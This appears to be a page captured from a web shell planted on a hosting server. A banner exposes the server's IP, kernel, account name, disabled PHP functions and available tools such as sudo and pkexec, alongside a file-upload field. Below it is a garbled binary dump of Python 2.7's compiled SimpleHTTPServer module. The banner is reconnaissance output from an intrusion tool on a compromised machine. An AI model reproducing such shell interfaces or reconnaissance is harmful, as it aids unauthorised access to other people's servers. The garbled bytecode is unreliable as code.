defeatdefeat
| Server IP : 77.68.64.20 / Your IP : 216.73.217.54 Web Server : Apache System : Linux hp3-wp-1011404.hostingp3.local 3.10.0-1160.119.1.el7.tuxcare.els20.x86_64 #1 SMP Tue May 13 05:10:55 UTC 2025 x86_64 User : csh3418515 ( 2275703) PHP Version : 8.3.30 Disable Function : shell_exec,exec,system,popen,set_time_limit MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/ |
Upload File : |
�
��Xjc @ s� d Z d Z d g Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l
Z
y d d l m Z Wn! e
k
r� d d l m Z n Xd e j f d � � YZ e e j d � Z e d k r� e � n d S( s� Simple HTTP Server.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
s 0.6t SimpleHTTPRequestHandleri����N( t StringIOc B s� e Z d Z d e Z d � Z d � Z d � Z d � Z d � Z d � Z
d � Z e j
sk e j � n e j j � Z e j i d d
6d d 6d d
6d d 6� RS( sW Simple HTTP request handler with GET and HEAD commands.
This serves files from the current directory and any of its
subdirectories. The MIME type for files is determined by
calling the .guess_type() method.
The GET and HEAD requests are identical except that the HEAD
request omits the actual contents of the file.
s SimpleHTTP/c C s6 | j � } | r2 | j | | j � | j � n d S( s Serve a GET request.N( t send_headt copyfilet wfilet close( t selft f( ( s( /usr/lib64/python2.7/SimpleHTTPServer.pyt do_GET* s c C s# | j � } | r | j � n d S( s Serve a HEAD request.N( R R ( R R ( ( s( /usr/lib64/python2.7/SimpleHTTPServer.pyt do_HEAD1 s c C s} | j | j � } d } t j j | � r� | j j d � sn | j d � | j d | j d � | j � d SxO d D]7 } t j j | | � } t j j
| � ru | } Pqu qu W| j | � Sn | j | � } y t
| d � } Wn"